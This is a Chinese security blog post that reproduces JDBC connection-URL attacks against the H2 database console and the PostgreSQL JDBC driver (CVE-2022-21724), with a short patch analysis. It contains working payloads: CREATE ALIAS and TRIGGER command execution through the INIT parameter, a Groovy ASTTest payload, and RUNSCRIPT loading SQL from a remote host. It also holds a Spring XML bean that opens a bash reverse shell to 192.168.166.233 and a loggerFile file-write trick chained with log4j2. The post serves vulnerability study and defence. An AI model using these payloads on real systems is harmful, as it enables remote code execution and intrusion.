0
点赞
收藏
分享

微信扫一扫

攻防对抗_Web安全攻防_Java安全_JDBC攻击

言午栩 2022-04-20 阅读 317

文章目录

前言

JDBC是Java提供的一个接口,通常用于连接数据库,各种数据库引擎会实现这个接口编写自己的JDBC implement。常见的JDBC使用方法是在配置文件中写好JDBC使用的引擎,以及连接数据库的URL,如:

// JDBC连接的URL, 不同数据库有不同的格式:
String JDBC_URL = "jdbc:mysql://localhost:3306/test"; 
String JDBC_USER = "root"; 
String JDBC_PASSWORD = "password"; // 获取连接:

Connection conn = DriverManager.getConnection(JDBC_URL, JDBC_USER, JDBC_PASSWORD); 
// TODO: 访问数据库
...

// 关闭连接:
conn.close();

在一些场景下(比如后台修改数据库配置、测试数据库连接等),用户可以控制JDBC中的URL,这可能会造成安全问题。HITB2021SIN 中的议题 <Make JDBC Attacks Brilliant Again> 列举了H2、IBM DB2、MODEShape、Apache Derby、SQLite等数据库Driver,在Connect URL可控情况下的安全问题。

1、H2 database

h2 database是一个纯Java编写的关系型数据库,可以在内存中运行,通常用在小型的应用,或者单元测 试中。有点类似于sqlite的角色,但因为它是纯Java的,跨平台使用更加方便。

1.1 H2 database console未授权访问->JNDI注入

h2 database console可以单独启动(因为h2内置了一个Web Server):
在这里插入图片描述
在这里插入图片描述
也可以集成Springboot 使用:
依赖:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>
<dependency>
    <groupId>com.h2database</groupId>
    <artifactId>h2</artifactId>
    <scope>runtime</scope>
</dependency>

application.properties文件进行相关配置,以允许访问h2 database console,路径默认为/h2-console

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

在这里插入图片描述


JNDI注入复现

在这里插入图片描述
注意:这里的配置可以自定义

  • Setting Name: Generic JNDI Data Source (名称随意)
  • Driver Class: javax.naming.InitialContext(JDK自带也不用考虑额外的驱动)
  • JDBC URL: ldap://xxxxxx/abc(恶意LDAP Server)
  • 由于是匿名的,User Name和Password均可为空

点击"Save"保存,然后点击"Connect",会加载远程CodeBase的恶意类并执行.
在这里插入图片描述
在这里插入图片描述

1.2 H2 database任意命令执行

在h2 database console,登录任意数据库后,进入管理页面后,可执行任意h2 sql语句。
参考h2 database的文档(参考[10]),可看到其支持的指令中,有以下两个可用来自定义函数的指令,函数里面可执行任意代码。

  • CREATE ALIAS
  • CREATE TRIGGER

下面使用CREATE ALIAS 来定义一个shell函数,并调用它:

CREATE ALIAS shell4 AS $$void shell(String... s) throws Exception { new java.lang.ProcessBuilder(s).start(); }$$;
SELECT shell4('/bin/sh','-c','open -a Calculator');

在这里插入图片描述


注意
这里有个前提,需要登录已存在的数据库,或者有创建数据库的权限。
如下图,如果没有创建数据库的权限,且test2是一个不存在的数据库名的话,点击connect,则会报下面的错误:
在这里插入图片描述
如果是Springboot方式集成h2 database的话,是没有创建数据库的权限的;
如果是h2 jar单独启动的话,默认也是不授予创建数据库的权限的,需要添加启动参数-ifNotExists才可以。

1.3 JDBC攻击->RCE

h2 console这个场景是支持执行多条SQL语句的,但是大部分场景下,用户只能控制JDBC的URL,此时是否还能执行任意命令呢?

从官方文档可了解到,

可以在JDBC URL中通过INIT属性,使连接数据库时自动执行指定的DDL/DML语句,以下是官方说明:
在这里插入图片描述
可以在INIT后指定多条语句,语句之间使用分号进行分隔,同时使用反斜杠进行转义。

如下:

jdbc:h2:~/tmp/h2-db/test1;INIT=CREATE ALIAS shell6 AS $$void shell(String... s) throws Exception { new java.lang.ProcessBuilder(s).start()\; }$$\;select shell6('/bin/sh','-c','open -a Calculator')

在这里插入图片描述

点击connect后,执行了命令,同时进入了管理页面。
在这里插入图片描述
也可以使用RUNSCRIPT指令运行sql脚本文件:

jdbc:h2:~/tmp/h2-db/test1;INIT=RUNSCRIPT FROM '~/tmp/poc.sql'

在这里插入图片描述
有意思的是,在对sql文件内容读取时,使用的是URL对象,也就是说它除了支持本地文件外,还支持远程sql文件。所以可通过http指定远程的sql文件。
在这里插入图片描述

jdbc:h2:~/tmp/h2-db/test1;INIT=RUNSCRIPT FROM 'http://192.168.166.233:8000/poc.sql'

在这里插入图片描述

1.4 JDBC攻击->无外网利用->RCE

其实1.3小节的最开始,已经介绍了一种无需出外网的利用方式,即通过分号进行分隔多个语句便可实现,而且无第三方依赖。

但是1.3 小节中另一种方式,即通过指定远程sql文件来实现RCE。但一些实际环境是不支持连接外网的,因此无法使用RUNSCRIPT FROM来指定远程sql文件。

阅读 CREATE ALIAS 文档可以发现,我们可以使用Groovy替代原生Java来定义用户函数:

还记得Groovy吧,在2019年,@Orange 曾发表过一个Jenkins远程代码执行漏洞,其中介绍过他遇到 的Groovy沙箱,并提出了使用元编程(Meta Programming)特性绕过沙箱的方法。

简单来说,就是利用Groovy元编程的技巧,在编译Groovy语句(而非执行时)就执行攻击者预期的代码。

直接使用@Orange 在文中给出的Payload作为 CREATE ALIAS 的源代码,然后再将完整SQL语句作为 INIT 属性的值:

CREATE ALIAS shell2 AS $$@groovy.transform.ASTTest(value={
    assert new java.lang.ProcessBuilder('/bin/sh','-c','open -a Calculator').start();
})
def x$$

在这里插入图片描述

前提是:

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy-sql</artifactId>
    <version>3.0.8</version>
</dependency>

1.5 JDBC攻击->无第三方依赖->RCE

上面利用Groovy的方式,前提是目标环境存在Groovy的依赖。

来看一下另一种无需出网、也无第三方依赖的方式.

前文提到,支持用户自定义函数(UDF)的除了 CREATE ALIAS,还有 CREATE TRIGGER ,它的详细介绍见官方文档(参考11). 其中有这样一段描述:

可以看到,javax.script.ScriptEngineManager 可以用于创建 org.h2.api.Trigger 对象。 javax.script.ScriptEngineManager 是Java中用于执行脚本的引擎,同时用来实现Java与这些脚本之间的交互,所以使用javax.script.ScriptEngineManager 是可以调用Java对象和方法的。而Java 8原生自带了JavaScript的脚本引擎。

关键在于,在TriggerObject#loadFromSource() 方法中,不仅编译了脚本,还调用ScriptEngine#eval()方法来执行脚本。只要是//javascript开头就会被认为是JavaScript代码。
在这里插入图片描述
在这里插入图片描述

构造JDBC URL如下:

jdbc:h2:~/tmp/h2-db/test1;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
new java.lang.ProcessBuilder('/bin/sh','-c','open -a Calculator').start()$$

这里注意,//javascript后面有个换行符,由于在Console页面上无法输入换行,所以利用burpsuite抓包并改包(用%0d%0a%0d%0a 跟在//javascript后面都可以)。
在这里插入图片描述

2、PostgreSQL

2.1 PostgreSQL JDBC Driver RCE - CVE-2022-21724

这同样是在JDBC Connection URL可控情况下将会出现某些安全问题。

pgjdbc根据通过authenticationPluginClassNamesslhostnameverifiersocketFactorysslfactorysslpasswordcallback连接属性提供的类名来实例化插件实例。
然而,在实例化类之前,驱动程序并没有验证该类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。

这里有一个使用Spring框架的开箱即用类的攻击例子:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

参考Spring Boot Connect to PostgreSQL Database Examples 来创建一个Springboot工程。(Springboot 2.6.0 + postgresql 42.3.1)

注:复现漏洞无需搭建postgresql数据库的环境。只有在复现sslfactory/sslfactoryarg属性的情况时,使用nc开启某个端口的监听来代替postgresql的端口即可!

SpringbootPostgresqlApplication.java

@SpringBootApplication
public class SpringbootPostgresqlApplication implements CommandLineRunner {

    @Autowired
    private JdbcTemplate jdbcTemplate;

    public static void main(String[] args) {
        SpringApplication.run(SpringbootPostgresqlApplication.class, args);
    }

    @Override
    public void run(String... args) throws Exception {
        Map<String, Object> objMap = jdbcTemplate.queryForMap("select * from students where stu_id=?", new Object[]{5});
        System.out.println("student=" + objMap.toString());
    }
}

这里为了复现简单,直接在application.properties里写死jdbc url:

spring.datasource.url=jdbc:postgresql://vulfocus.my:49157/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://192.168.166.233:8000/poc.xml

2.1.1 socketFactory / socketFactoryArg

和其它数据库的JDBC Driver一样,PostgreSQL JDBC Driver也支持很多property,先看CVE-2022-21724里用到的第一组property:socketFactory / socketFactoryArg
在这里插入图片描述
在JDBC url中,先将socketFactory属性值置空,运行,查看报错:
在这里插入图片描述
SocketFactory#getSocketFactory()方法中下断点:
在这里插入图片描述
进入ObjectFactory#instantiate() 可以实例化socketFactory属性指定的类,它的构造方法最多只能有一个参数,要实现RCE,这里可以利用的是参数类型为String的。而这里的参数则来自socketFactoryArg属性。
在这里插入图片描述
如果熟悉或初学Spring编程的,也许可以想到以下两个类:

  • org.springframework.context.support.ClassPathXmlApplicationContext
  • org.springframework.context.support.FileSystemXmlApplicationContext

这两个类都可以用来通过该解析一个定义了spring bean的xml文件,去实现bean的加载。常见代码如下:
在这里插入图片描述

因此,Payload 如下:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg >
        <list>
            <value>open</value>
            <value>-a</value>
	    <value>Calculator</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

启动项目后便可复现:
在这里插入图片描述

反弹shell:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg >
        <list>
	    <value>/bin/sh</value>
            <value>-c</value>
            <value>bash -i &gt;&amp; /dev/tcp/192.168.166.233/443 0&gt;&amp;1</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

2.1.2 sslfactory / sslfactoryarg

在这里插入图片描述
其实和socketFactory/socketFactoryArg 差不多,只是多了对SSL加密的判断,可以看到建连后收到的请求以S开头则表示SSL是成功支持的,则进入SSLSocketFactory()
在这里插入图片描述
在这里插入图片描述
然后进入SocketFactory#getSslSocketFactory(),后面的逻辑就跟前面 socketFactory/socketFactoryArg的一样了。
在这里插入图片描述
只要在建立连接后,返回S,便可触发。
在这里插入图片描述

2.1.3 loggerLevel / loggerFile

在这里插入图片描述
可以利用这两个属性进行任意文件写入,jdbc url如下:

spring.datasource.url=jdbc:postgresql://vulfocus.my:49157/test?whatever=aaaaaaaaaaaabbbbbbbccccccc&loggerLevel=TRACE&loggerFile=pgjdbcaaaaaaaaaaaaaaaaaa.log

运行后,会生成日志文件pgjdbcaaaaaaaaaaaaaaaaaaj.log,该文件内容如下:
在这里插入图片描述
可以看到即便数据库连接出现错误,也会把连接过程的报错信息也写入你指定的日志文件里。因此这两个属性可结合低版本存在漏洞的日志组件如apache log4j2 进行利用。

比如:在JDBC url中注入log4j2 CVE-2021-44228 的payload,而数据库的连接信息都被记录在日志里,当存在漏洞的log4j2组件读取日志文件时,便会造成RCE。


但是从 pgjdbc 42.3.3 版本开始,这两个属性已不再支持。官方文档也已更新:
在这里插入图片描述

补丁分析

添加了代码逻辑验证该类是否实现了预期的接口。
在这里插入图片描述

参考

[1] https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf
[2] https://www.youtube.com/watch?v=MJWI8YXH1lg
[3] http://tttang.com/archive/1462/
[4] https://mp.weixin.qq.com/s/jb7mbPWdMp1vlgF8F1mshg
[5] https://paper.seebug.org/1832
[6] https://github.com/su18/JDBC-Attack
[7] https://vulhub.org/#/environments/h2database/h2-console-unacc/
[8] https://www.h2database.com/html/features.html#database_url
[9] https://www.h2database.com/html/grammar.html#dollar_quoted_string
[10] https://www.h2database.com/html/commands.html#create_alias
[11] https://www.h2database.com/html/commands.html#create_trigger
[12] https://jdbc.postgresql.org/documentation/head/connect.html

举报

相关推荐

0 条评论